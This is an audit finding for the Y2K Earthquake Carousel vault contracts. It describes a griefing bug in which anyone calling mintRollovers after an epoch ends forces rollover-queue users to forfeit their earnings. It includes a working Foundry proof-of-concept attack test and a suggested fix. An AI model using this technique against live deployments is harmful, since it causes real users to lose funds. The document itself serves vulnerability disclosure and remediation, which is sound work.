toshii

medium

# All users in the rollover queue can be griefed/forced to lose their earnings

## Summary

All users in the rollover queue can be griefed/forced to lose their earnings. This is especially detrimental for users in the premium vault who are relying on the collateral vault funds to hedge their losses during a depeg event.

## Vulnerability Detail

Any user who has deposited into the rollover queue for a given epochId can be griefed to lose their earnings for that epochId after the epoch has ended (e.g. user is in the premium vault and there was a depegging event). More specifically, a user can be forced to exchange their (in the money) epochId tokens for epochId+1 tokens without receiving their entitled rewards. This can lead to devastating losses for the user, especially if that user was in the premium vault and they intended to use the payout to cover losses they incurred due to the depegging event. This attack can be performed by anyone, whether intentional or not. As a matter of fact, it is very likely this will be done unintentionally, as bots monitoring when epochs have ended to earn rewards from calling `mintRollovers(..)` may very likely unintentionally screw over these users.

This vulnerability happens because, although there is logic in `mintRollovers(..)` that checks whether the user has not lost in the previous epoch, there is no functionality to support getting the rewards in case the user has won. 

Referenced lines of code:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L396-L399
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L401-L437

## Impact

This is medium severity because the attacker does not gain anything financially by griefing the other users, however there is significant potential downside to this happening, especially if the user is hedging a large position using the premium vault.

## Code Snippet

POC including preliminary state and steps (foundry test):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

// project files
import {TokenMock} from "src/my-tests/TokenMock.sol"; // simple ERC20 token w/ minting
import {WETH} from "src/my-tests/WETH.sol"; // WETH mock
import {OracleMock} from "src/my-tests/OracleMock.sol"; // mock oracle

import {Carousel} from "src/v2/Carousel/Carousel.sol";
import {CarouselFactory} from "src/v2/Carousel/CarouselFactory.sol";
import {ControllerPeggedAssetV2} from "src/v2/Controllers/ControllerPeggedAssetV2.sol";

contract TestRewardsGriefing is Test {
    // protocol users
    address admin = makeAddr('admin'); // project admin
    address attacker = makeAddr('attacker'); // attacker address
    address user1 = makeAddr('user1'); // other user addresses
    address user2 = makeAddr('user2');
    address user3 = makeAddr('user3');

    WETH weth;
    TokenMock emissionsToken;
    OracleMock sequencerFeed;
    OracleMock priceFeed;

    CarouselFactory carouselFactory;
    ControllerPeggedAssetV2 controllerPeggedAssetV2;
    Carousel premiumVault;
    Carousel collateralVault;
    
    uint256 epochId1;
    uint256 epochId2;
    uint256 marketId;

    /// configuring starting state for showing bug/exploit
    function setUp() public {
        vm.deal(attacker, 100 ether);
        vm.deal(user1,100 ether);
        vm.deal(user2,100 ether);
        vm.deal(user3,100 ether);

        vm.startPrank(admin); // admin setting up starting project state
        vm.warp(10_000); // to mock that sequencer is up

        weth = new WETH();
        emissionsToken = new TokenMock();
        emissionsToken.mint(admin,10_000e18); // admin is used as treasury

        carouselFactory = new CarouselFactory(
            address(weth),admin,admin,address(emissionsToken)
        );
        emissionsToken.approve(address(carouselFactory),type(uint256).max);

        sequencerFeed = new OracleMock();
        sequencerFeed.setData(1,0,0,0,1); // sequencer is up

        priceFeed = new OracleMock();
        priceFeed.setData(1,1e8,0,0,1); // setting price for asset, decimals=8

        controllerPeggedAssetV2 = new ControllerPeggedAssetV2(
            address(carouselFactory),address(sequencerFeed),admin
        );

        carouselFactory.whitelistController(address(controllerPeggedAssetV2));

        // creating a new market:
        CarouselFactory.CarouselMarketConfigurationCalldata memory config = 
            CarouselFactory.CarouselMarketConfigurationCalldata({
                token: address(1), // arbitrary, just for lookup to oracle
                strike: 99e17,
                oracle: address(priceFeed),
                underlyingAsset: address(weth),
                name: "name",
                tokenURI: "tokenURI",
                controller: address(controllerPeggedAssetV2),
                relayerFee: 10000,
                depositFee: 250
            }
        );

        (address premium, address collateral, uint256 _marketId) = carouselFactory.createNewCarouselMarket(config);
        marketId = _marketId;
        premiumVault = Carousel(premium);
        collateralVault = Carousel(collateral);

        // creating the first two epochs, with the first one beginning and the second one queued:

        (epochId1,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+10), // epochBegin
            uint40(block.timestamp+20), // epochEnd
            100,1_000e18,1_000e18
        );

        vm.warp(block.timestamp+10); // epoch 1 has started

        // 10 timestamp gap between the first epoch and the second epoch
        (epochId2,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+20), // epochBegin
            uint40(block.timestamp+30), // epochEnd
            100,1_000e18,1_000e18
        );

        // first epoch resolved with nullEpoch as there are no deposits
        controllerPeggedAssetV2.triggerNullEpoch(marketId,epochId1);
        vm.stopPrank();
    }

    /// showcasing the bug/exploit
    function testRewardsGriefing() public {

        // showcasing how the functionality of the mintRollovers(..) function allows anyone to force a user
        // in a vault to forgo their rightful rewards, being forced to exchange their epochId tokens for 
        // epochId+1 tokens and losing their claim on the epochId rewards

        // attacker deposits funds into the premium vault
        vm.prank(attacker);
        premiumVault.depositETH{value:1e18}(
            epochId2,attacker
        );

        // user deposits funds into the collateral vault, also has funds in the rollover queue
        vm.prank(user1);
        collateralVault.depositETH{value:10e18}(
            epochId2,user1
        );
        vm.prank(user1);
        collateralVault.enlistInRollover(
            epochId2,10e18,user1
        );

        vm.warp(block.timestamp+20); // second epoch has started

        // create the third epoch
        vm.prank(admin);
        (uint256 epochId3,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+20), // epochBegin
            uint40(block.timestamp+30), // epochEnd
            100,1_000e18,1_000e18
        );

        vm.warp(block.timestamp+11); // second epoch has ended

        // epoch 2 has ended, trigger end of the epoch
        // there was no depeg, meaning that the attacker's premium payments are transferred to the collateral vault
        controllerPeggedAssetV2.triggerEndEpoch(marketId,epochId2);

        // attacker is angry they lost money so they will grief the user by making them lose their rewards
        // to do so they force the user to transfer their epochId tokens as soon as epoch 2 ends
        vm.prank(attacker);
        collateralVault.mintRollovers(epochId3,1);

        // showing that the user was screwed out of getting their funds
        assertEq(collateralVault.balanceOf(user1,epochId2),0); // all tokens moved out
        assertLe(collateralVault.balanceOf(user1,epochId3),10e18); // no extra tokens in new epoch
        assertEq(user1.balance,100e18-10e18); // no funds sent directly to user
    }

}
```

## Tool used

Manual Review

## Recommendation

The mitigation is simply to collect the user's earnings in `mintRollovers(..)` for the prior epochId, before minting deposits for the new epochId. This can be done without calling `withdraw(..)` followed by `deposit(..)` if you simply utilize the existing `entitledShares` variable which has already been defined:

```solidity
uint256 entitledShares = previewWithdraw(
    queue[index].epochId,
    queue[index].assets
);
```

You will still call `_burn(..)` using `queue[index].assets`, but you will call `_mintShares(..)` for `_epochId` using `entitledShares` minus the `relayerFee` instead. This will effectively debit the user for their earnings from the previous epochId.

```solidity
uint256 entitledShares = previewWithdraw(
    queue[index].epochId,
    queue[index].assets
);
...
_burn(
    queue[index].receiver,
    queue[index].epochId,
    queue[index].assets
);
...
uint256 assetsToMint = entitledShares - relayerFee;
_mintShares(queue[index].receiver, _epochId, assetsToMint);
```